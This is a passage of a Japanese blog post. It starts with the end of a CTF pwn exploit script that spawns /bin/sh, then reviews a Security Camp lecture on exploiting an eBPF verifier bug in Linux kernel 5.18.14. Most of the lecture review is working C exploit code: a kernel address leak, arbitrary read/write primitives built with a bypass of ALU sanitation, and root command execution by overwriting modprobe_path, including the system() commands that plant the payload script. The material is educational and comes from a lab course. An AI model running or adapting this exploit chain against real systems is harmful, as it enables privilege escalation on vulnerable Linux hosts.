libc = ELF(CHALL_LIBC, checksec=False)

def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    elif args.LOCAL:
        return process([elf.path])
    else:
        return gdb.debug([elf.path], gdbscript=gs)


def load(imm):
    io.sendlineafter("opcode:", "1")
    io.sendlineafter("operand:", "#" + str(imm))

def mov(reg):
    io.sendlineafter("opcode:", "2")
    io.sendlineafter("operand:", "r" + str(reg))

def inc(reg):
    io.sendlineafter("opcode:", "3")
    io.sendlineafter("operand:", "r" + str(reg))

def dbl(reg):
    io.sendlineafter("opcode:", "4")
    io.sendlineafter("operand:", "r" + str(reg))

def addi(imm):
    io.sendlineafter("opcode:", "5")
    io.sendlineafter("operand:", "#" + str(imm))

def add(reg):
    io.sendlineafter("opcode:", "6")
    io.sendlineafter("operand:", "r" + str(reg))


def exploit():
    load(0xeceb3b6a>>1)
    mov(1)
    for i in range(0, 33):
        dbl(1)
    load(u32(b"/sh\0"))
    mov(2)
    for i in range(0, 32):
        dbl(2)
    load(u32(b"/bin"))
    mov(3)
    for i in range(0, 32):
        dbl(3)
    load(0x050f04)
    for i in range(0, 32):
        dbl(0)
    load(0xef834858)
    add(1)


io = start()
exploit()
io.interactive()

終わりに

実は別のチームメンバーがNEMUをstagerで解いていました。勉強不足なのであまりやり方はよく知らないんですが、最初にreadシステムコールを呼び出してシェルコードを書き足していくやり方みたいです。そう考えるとstagerの方がいろいろな場合に対応できるので賢いな~と思い勉強させていただきました笑 他のpwnの問題はexit()後に呼ばれる関数ポインタをいじって任意の呼び出しをする問題や、ヒープガチャガチャ問でした。ヒープはtcacheの仕様がglibc2.35くらいから変わって、そのあたりからCTFではやらなくなってしまったので久しぶりにやりたいですね。来週くらいにまた復習しようと思うので、解けてないけどwriteup書こうかなと思います。

それでは~

セキュリティキャンプ講義の復習

Advenced Linux Kernel Exploit

この講義ではeBPFの脆弱性をついたKernel Exploit手法を紹介していただいた。ハンズオンだけで6時間だったわけではないので非常に時間が短く、理解が曖昧なままな箇所がけっこうあるので復習ついでに書いていく。

本講義は計6時間で、

  • ソースコードからeBPFのバグを見つける
  • バグからAAR/AAWプリミティブを作成
  • Kernel空間のメモリを書き換えてRootでコマンドを実行する

という流れで攻撃手法を学んだ。

BPFについて

BPFのドキュメント

BPFは以下のような構造になっている。 ユーザプログラム内でBPFコードを定義し、それをBPFコードとして登録する。すると検証器がBPFコードを精査して型チェック等を行う。型違反があるとここで突っ返されて、プログラムが止まる。無事検証を通過すると、BPFコードがJIT(just in Time)で機械語に変換され、その後はイベント発生時に実行される。BPFプログラムはBPFマップといわれる領域を通してユーザ空間と値のやり取りをする。

eBPFはBPFの命令セットを64bitに拡張し、パケットやシステムコールフィルタ以外の用途に拡張したもの。

BPFのレジスタ

BPFでは10個の汎用レジスタと1個のフレームポインタがある。

レジスタ 特殊な用途 別名
R0 戻り値 -
R1 第一引数、コンテキストのポインタ ARG1
R2 第二引数 ARG2
R3 第三引数 ARG3
R4 第四引数 ARG4
R5 第五引数 ARG5
R6~R9 - -
r10 フレームポインタ FP

BPFのスタック

BPFではプログラムごとにスタックが用意されていて、FPがスタックの最高位アドレスを指している(x86_64でいうrbp)。サイズは512byte固定。8バイトにalignされたアドレスのみに読み書きができる。

コンテキスト

イベントの発生源がBPFプログラムにイベント情報を渡すためのもの。構造体形式になっていて、イベントの情報が格納されている。BPFプログラム開始時にR1レジスタにコンテキストへのポインタが渡される。

BPFマップ

BPFプログラムとユーザプログラムがやり取りするための領域。ユーザ側から任意のキー・データ長さ(要素のサイズ・要素数)でマップ(配列)を作成できる。
ここで気を付けるポイントが、BPFスタックにはポインタを書き込めるが、mapにはポインタを書き込めない仕様になっている。具体的には検証器に弾かれるようになっている(つまり検証器をだませれば書き込める、というのがミソ)。BPFマップ自体のポインタはヘルパー関数を使ってmapfdから取得する。

ヘルパー関数

docs
自分の認識ではatomicに処理すべき部分などがまとめられている。本講義で使った関数を紹介↓

  • map系
    map_lookup_elem:BPFマップの要素へのポインタを取得
    map_update_elem:BPFマップの要素の値を更新

  • ソケットフィルタ
    skb_laod_bytes:コンテキストからパケットデータを取得
    skb_store_bytes:コンテキストからパケットデータを変更

※BPFでのコーディング

通常BPFプログラミングをするときはbcc(BPF Compiler Collection)を使うらしいが、Exploitではアセンブリレベルで書く必要がある。
そのため以下のマクロを利用して書いていく。
bpf_insn.h

eBPFの検証器

eBPFではカーネル内でコードを実行するにあたって、ユーザが危険なコードを書いていないかチェックする。検証は2段階にわたって行われ、

  • ループが存在しないか (ソースコード)
  • unsound behavior(正しく動作しない可能性が少しでもある状態)が存在しないか (ソースコード)
    • 未初期化レジスタの利用
    • BPFマップへの範囲外書き込み
    • ポインタ書き込みなど

を確認する。
また、すべてのレジスタ・スタックの値について、

  • 型情報
  • 取りうる値の範囲
    smin_value / smax_value : 符号付き64bit整数の最小・最大値
    umin_value / umax_value : 符号なし64bit整数の最小・最大値
    s32_min_value / s32_max_value : 符号付き32bit整数の最小・最大値
    u32_min_value / u32_max_value : 符号なし32bit整数の最小・最大値
  • 各bitが断定できるか を1命令ごとに追跡している。加えて、値がスカラなのかポインタなのかも追跡している。
    スカラ値はbitごとに可能な限り追跡され、以下のように表示される。
    var_off(value; mask)
    • value: 判明しているbit
    • mask: 不明なbit部分が1になる

例)
var_off(0xdeadbeef; 0x0) = 定数0xdeadbeef
var_off(0xde00be00; 0x00ff00ff) = 0xde??be??

ポインタの場合はポインタの種類、加算されたオフセット、ポインタの指すデータサイズなども保持する。

脆弱性の解析

本講義で使っているカーネルLinux kernel 5.18.14だが、kernel/bpf/verifier.cの7957行目の関数呼び出しが消されたものが配布されている。(昔本当にあったバグの再現らしい)

この一行がないとどういうバグが発生するのかを確認する。
まずverifier.cはeBPFの検証器を実装している部分である。その中のscalar32_min_max_or関数はadjust_scalar_min_max_vals関数から呼ばれていて、これはALU演算前後に取りうる値の範囲を追跡する処理だ。scalar32_min_max_orはOR演算時に呼ばれる(ソースコード)。また、その後にscalar_min_max_orが呼ばれる。

ここで、dst_regtnum_orvalueとmaskのor演算結果が格納される。ちなみにdst_regsrc_regtnum構造体で、以下のようになってる。

これでscalar32_min_max_orに渡された引数がわかった。では、削除された部分を含むif文の条件を見てみよう。src_knowndst_knowntnum_subreg_is_constの戻り値である。tnum_subreg_is_constここで定義されていて、コメントを見ると「下位32bitが定数であればtrueを返す」らしい。つまりソースレジスタとデスティネーションレジスタの両方の下位32bitが定数であれば、if文内に入ることになる。

mark_reg32_knownでは以下のようにvar_offと、取りうる最大値・最小値が更新される。(定数であるということは定数値=最小値=最大値なので)

ここで、mark_reg32_knownが終わるとreturnされて、次にscalar_min_max_orソース)が呼ばれる。この関数ではscalar32_min_max_orと同じような動作をするが、64bitで判断している。つまり、下位32bitが定数でも上位32bitに不定な値があった場合はif文に入らない。if文に入らなかった場合、この関数の最後には__update_reg_boundsが呼ばれている。

さらにその中でupdate_reg32_boundsソース)が呼ばれるが、ここに注目してほしい。

下位32bitが定数でも上位32bitに不定な値があった場合はここにたどり着くわけだが、本講義で使ってるカーネルでは最初に説明した通り__mark_reg32_knownが呼ばれない。つまり、reg->var_offreg->s32_min_valueなどは更新されていないのにも関わらず、__update_reg32_bounds内で使用されているのだ。

ここではu32の処理の方に注目する。以降デスティネーションレジスタとソースレジスタの下位32bitをRdstRsrcとあらわす。
u32_min_valueu32_max_valueは更新されていないのでRdstであり、var_32_off.maskは定数なので0である。また、var32_off.valueここで定義されているので、Rdst | Rsrcである。よって、ここまでをまとめると次のようになる。

u32_min_value = max(Rdst, Rdst|Rsrc)
u32_max_value = min(Rdst, Rdst|Rsrc)

ここでRdst = 0Rsrc = 1とすると、

u32_min_value = 1
u32_max_value = 0

というおかしな状況を作れる(Rdst < Rdst|Rsrcを満たすとこのバグが発生する)。 実装はこんな感じになる。不定な値はmapから値を取得することで作れる。それを上位32bitに移動させてから定数1とORすることでバグが生まれる。

実行結果の一部がこちら(なぜかs32の方だけになっているが...)

アドレスリー

ポインタ+スカラ演算に関してはadjust_min_max_valsに書いてある。(ソース)
if文を見ると、min > maxなスカラーの場合、__mark_reg_unknownが呼ばれるとわかる。

reg->var_off = tnum_unknowからRdstは中身不明のスカラとして扱われる。つまり、min > maxなスカラーを加算すればポインタではなくなるため、BPFマップに書き込めるようになる。

これをmap_update_elemでマップに書き込んで、ユーザ側からmap_look_upでリークできる。以下のように実装することででマップのアドレスをリークできる。

#include <linux/bpf.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include "../bpf_insn.h"

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

int bpf(int cmd, union bpf_attr *attrs) {
  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int map_create(int val_size, int max_entries) {
  union bpf_attr attr = {
    .map_type = BPF_MAP_TYPE_ARRAY,
    .key_size = sizeof(int),
    .value_size = val_size,
    .max_entries = max_entries
  };
  int mapfd = bpf(BPF_MAP_CREATE, &attr);
  if (mapfd == -1) fatal("bpf(BPF_MAP_CREATE)");
  return mapfd;
}

int map_update(int mapfd, int key, void *pval) {
  union bpf_attr attr = {
    .map_fd = mapfd,
    .key = (uint64_t)&key,
    .value = (uint64_t)pval,
    .flags = BPF_ANY
  };
  int res = bpf(BPF_MAP_UPDATE_ELEM, &attr);
  if (res == -1) fatal("bpf(BPF_MAP_UPDATE_ELEM)");
  return res;
}

int map_lookup(int mapfd, int key, void *pval) {
  union bpf_attr attr = {
    .map_fd = mapfd,
    .key = (uint64_t)&key,
    .value = (uint64_t)pval,
    .flags = BPF_ANY
  };
  return bpf(BPF_MAP_LOOKUP_ELEM, &attr); // -1 if not found
}


unsigned long leak_map_address(int mapfd) {
  char verifier_log[0x10000];
  unsigned long val;

  /* BPFプログラム */
  struct bpf_insn insns[] = {
    // key = 0
    BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0),
    // R0 = map_lookup_elem(mapfd, &key)
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
    BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
    // if (!R0) exit()
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
    BPF_EXIT_INSN(),

    // R1: var_off=(0; 0xffffffffffffffff)
    BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0),

    // R1: var_off=(0; 0xffffffff00000000)
    BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),

    // R2: var_off=(1; 0)
    BPF_MOV64_IMM(BPF_REG_2, 1),

    // R1: min=1,max=0
    BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),
        // 64bitに拡張
    BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),

    // &map[0]ポインタをスカラーと認識させる
    BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1),

    // &map[0]+1のリーク
    BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0),
    BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0, -0x10),
    // map_update_elem(mapfd, &key, &val, 0)
    BPF_MOV32_IMM(BPF_REG_ARG4, 0),
    BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
    BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
    BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

    BPF_MOV64_IMM(BPF_REG_0, 0), // R0 = 0
    BPF_EXIT_INSN(),
  };
  
  /* ソケット用に設定 */
  union bpf_attr prog_attr = {
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
    .insn_cnt = sizeof(insns) / sizeof(insns[0]),
    .insns = (uint64_t)insns,
    .license = (uint64_t)"GPL v2",
    .log_level = 2,
    .log_size = sizeof(verifier_log),
    .log_buf = (uint64_t)verifier_log
  };

  /* BPFプログラムをロード */
  int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
  puts(verifier_log);
  if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)");

  /* ソケットを作成 */
  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
    fatal("socketpair");
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
    fatal("setsockopt");

  /* ソケットを利用(BPFプログラムの発動) */
  write(socks[1], "AAAABBBBCCCCDDDD", 16);

  /* リークしたポインタを取得 */
  map_lookup(mapfd, 0, &val);
  return val - 1;
}
int main() {
  int mapfd = map_create(8, 1);
  unsigned long val = 1;
  map_update(mapfd, 0, &val);
  unsigned long addr_map = leak_map_address(mapfd);
  printf("[+] addr_map = 0x%016lx\n", addr_map);

  getchar();
  return 0;
}

実行すると以下のような出力になる。

このアドレス周辺をgdbでダンプする。見てみるとkernel baseをリークできそうな値が0xffff888003247201に存在する。

今回の本質ではない気がするのでさっと説明を書くが、これはstruct bpf_arrayらしい。mapフィールドの値は固定なので、0x1c124を減算すればkernel baseを求められる。

AAW/AARを作る

BPFではポインタ+スカラの演算結果が明らかに使用可能範囲外の場合、検証器に止められてしまう。しかし、min=1, max=0で本当は1が入っている値Xと、min=0, max=1で本当は1が入っている値Yを加算すると、検証器はmin=1+0=1, max=0+1=1で、定数1だと判断するが本当は2が入っている値Zを作れる。つまり(Z-1)は検証器は定数0だと判断する。ここで変数valと、任意の値offsetで、

val += (Z-1)*offset 

という計算をすることで、検証器には値の変化がないように見せつつ任意の値をvalに入れることができる。
min=0, max=1の作り方だが、ユーザ側からマップに1を入れて置き、BPFでそれ読み出してAND 1をとれば作れる。

ALU sanitation

Spectreへの対策として追加されたmitigationでuser権限で実行すると有効になる。(どうしてSpectre対策になるのかはよく分からん)
ALUのBPF_ADDに対してパッチが当たっているらしく(ソース)、

BPF_ALU64_REG(BPF_ADD, REG_PTR, REG_SCALAR)

上記のようなとき、REG_SCALARが定数だった場合、

BPF_MOV32_IMM(BPF_REG_AX, 定数),
BPF_ALU64_REG(BPF_ADD, REG_PTR, REG_AX)

に置き換わる。つまりせっかく作ったZが使われずに終わってしまう。ここで、ヘルパー関数skb_load_bytesを使う。パッチが当たっているのはあくまでBPF_ADDのALU命令だけなので、これを使うことで2022年現在はbypassできる。skb_load_bytesはコンテキストからパケットデータを取得する関数で、第4引数に受け取るサイズを指定できる。ここでZを使って(Z-1)*preffer_valueとすることで任意のサイズを指定できる。これを使ってstack BOFをする。具体的にはあらかじめmapのポインタをstackに書き込んでおき、そこをoverflowでAAW/AAR対象となるアドレスで上書きする。すると検証器としては、もともとそこは有効なアドレスであり、書き換えられていないつもりになっているので、書き込んだアドレスを読みだして普通に使えばAAW/AARができる。

これを実装すると以下のようになる。

unsigned long aaw64(int mapfd, unsigned long addr, unsigned long value) {
  char verifier_log[0x10000];
    unsigned long val = 1;
  map_update(mapfd, 0, &val);

  /* BPFプログラム */
  struct bpf_insn insns[] = {

    BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_1, -0x18),
    // key = 0
    BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x20, 0),
    // R0 = map_lookup_elem(mapfd, &key)
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x20),
    BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
    // if (!R0) exit()
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
    BPF_EXIT_INSN(),

    // R1: var_off=(0; 0xffffffffffffffff)
    BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0),
    BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_0, 0),

    // R1: var_off=(0; 0xffffffff00000000)
    BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),

    // R2: var_off=(1; 0)
    BPF_MOV64_IMM(BPF_REG_2, 1),

    // R1: min=1,max=0
    BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),
    BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),

        // BPF_REG_1 += map[0]&1 
        BPF_ALU64_IMM(BPF_AND, BPF_REG_3, 1),
        BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_3),
        // BPF_REG_1 -= 1
        BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),
        // R1: 推測値=8 / 実際値=0x10
    BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x8),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 0x8),

        // *(FP-0x08) = &map[0]
        // FP-0x08にポインタを代入
        BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0, -0x08),

        // skb_load_bytes(ctx, 0, FP-0x10, R1)
        BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1),
        BPF_MOV64_REG(BPF_REG_3, BPF_REG_FP),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -0x10),
        BPF_MOV64_IMM(BPF_REG_ARG2, 0),
        BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x18),
        BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),
        
        // *addr = value
        BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_FP, -0x08),
        BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_FP, -0x10),
        BPF_STX_MEM(BPF_DW, BPF_REG_1, BPF_REG_2, 0),

    BPF_MOV64_IMM(BPF_REG_0, 0), // R0 = 0
    BPF_EXIT_INSN(),
  };
  
  /* ソケット用に設定 */
  union bpf_attr prog_attr = {
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
    .insn_cnt = sizeof(insns) / sizeof(insns[0]),
    .insns = (uint64_t)insns,
    .license = (uint64_t)"GPL v2",
    .log_level = 2,
    .log_size = sizeof(verifier_log),
    .log_buf = (uint64_t)verifier_log
  };

  /* BPFプログラムをロード */
  int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
  puts(verifier_log);
  if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)");

  /* ソケットを作成 */
  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
    fatal("socketpair");
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
    fatal("setsockopt");

  /* ソケットを利用(BPFプログラムの発動) */
    unsigned long buf[2];
    buf[0] = value;
    buf[1] = addr;
  write(socks[1], buf, 16);
}

unsigned long aar64(int mapfd, unsigned long addr) {
  char verifier_log[0x10000];
  unsigned long val;

  /* BPFプログラム */
  struct bpf_insn insns[] = {

    BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_1, -0x18),
    // key = 0
    BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x20, 0),
    // R0 = map_lookup_elem(mapfd, &key)
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x20),
    BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
    // if (!R0) exit()
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
    BPF_EXIT_INSN(),

    // R1: var_off=(0; 0xffffffffffffffff)
    BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0),
    BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_0, 0),

    // R1: var_off=(0; 0xffffffff00000000)
    BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),

    // R2: var_off=(1; 0)
    BPF_MOV64_IMM(BPF_REG_2, 1),

    // R1: min=1,max=0
    BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),
    BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),

        BPF_ALU64_IMM(BPF_AND, BPF_REG_3, 1),
        BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_3),
        BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),
        // R1: 推測値=8 / 実際値=0x10
    BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x8),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 0x8),

        // *(FP-0x08) = &map[0]
        // FP-0x08をポインタを代入
        BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0, -0x08),

        // skb_load_bytes(ctx, 0, FP-0x10, R1)
        BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1),
        BPF_MOV64_REG(BPF_REG_3, BPF_REG_FP),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -0x10),
        BPF_MOV64_IMM(BPF_REG_ARG2, 0),
        BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x18),
        BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),
        
        // *(FP-0x10) = *addr
        BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_FP, -0x08),
        BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_1, 0),
        BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_2, -0x10),
    // map_update_elem(mapfd, &key, &val, 0)
    BPF_MOV32_IMM(BPF_REG_ARG4, 0),
    BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x20),
    BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
    BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

    BPF_MOV64_IMM(BPF_REG_0, 0), // R0 = 0
    BPF_EXIT_INSN(),
  };
  
  /* ソケット用に設定 */
  union bpf_attr prog_attr = {
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
    .insn_cnt = sizeof(insns) / sizeof(insns[0]),
    .insns = (uint64_t)insns,
    .license = (uint64_t)"GPL v2",
    .log_level = 2,
    .log_size = sizeof(verifier_log),
    .log_buf = (uint64_t)verifier_log
  };

  /* BPFプログラムをロード */
  int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
  puts(verifier_log);
  if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)");

  /* ソケットを作成 */
  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
    fatal("socketpair");
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
    fatal("setsockopt");

  /* ソケットを利用(BPFプログラムの発動) */
    unsigned long buf[2];
    buf[0] = 0x4141414142424242;
    buf[1] = addr;
  write(socks[1], buf, 16);

  map_lookup(mapfd, 0, &val);
    return val;
}

権限昇格

講義ではmodprobe_pathの書き換えを使って権限昇格を行った。LinuxにはELFやshebangなどの実行形式があるが、それ以外の不明な気式が実行されるとmodprobe_pathに書いてあるパスのスクリプトが実行される。デフォルトでは/sbin/modprobeになっている。これをAAW/tmp/xに書き換え、/tmp/xにroot権限で実行したい処理を書いておけば任意のコマンドが実行できる。kernel baseのリークを含めて、main関数を以下のように定義すれば、root権限での実行ができる。

int main() {
  int mapfd = map_create(8, 1);
    unsigned long val = 1;
  map_update(mapfd, 0, &val);
  unsigned long addr_map = leak_map_address(mapfd);
  printf("[+] addr_map = 0x%016lx\n", addr_map);

    val = aar64(mapfd, addr_map);
  printf("[+] value_map = 0x%016lx\n", val);

    val = aar64(mapfd, addr_map-0x110);
  printf("[+] value_addr_ops = 0x%016lx\n", val);

    unsigned long kbase = val - 0xc124a0;
  printf("[+] kbase = 0x%016lx\n", kbase);
    //modprobe書き換え
    unsigned long modprobe_addr = kbase + 0xe37fe0;
    //aaw64(mapfd, modprobe_addr, 0x2f746d702f78);
    aaw64(mapfd, modprobe_addr, 0x782f706d742f);

    //権限昇格
    //実行スクリプトの用意
    system("echo -e '#!/bin/sh\necho PWNED > /PWNED.txt' > /tmp/x");
    chmod("/tmp/x", 0777);
    //形式不明の実行ファイル用意
    system("echo -e '\xde\xea\xbe\xef' > /tmp/pwn");
    chmod("/tmp/pwn", 0777);
    system("/tmp/pwn");

  getchar();
  return 0;
}

ユーザ権限で実行すると以下のようにオーナーがrootのPWNED.txtが作られているのがわかる。

感想

今まではユーザランドの攻撃のみCTFでやってきたので、seccampで初めてカーネルランドの攻撃をやった。普通のkernel exploitだけでもすごい楽しかったし、いい経験になったが、さらにeBPFの攻撃手法の一例を学べたのは本当に良かったなあと思う。yudai先生曰く検証器をだます手法はBrowserとかにも使えるそうなので、そのうち勉強してみたいなあと思っている。

ということで、
「C2C3講義完全理解した! #seccamp」
ありがとうございました!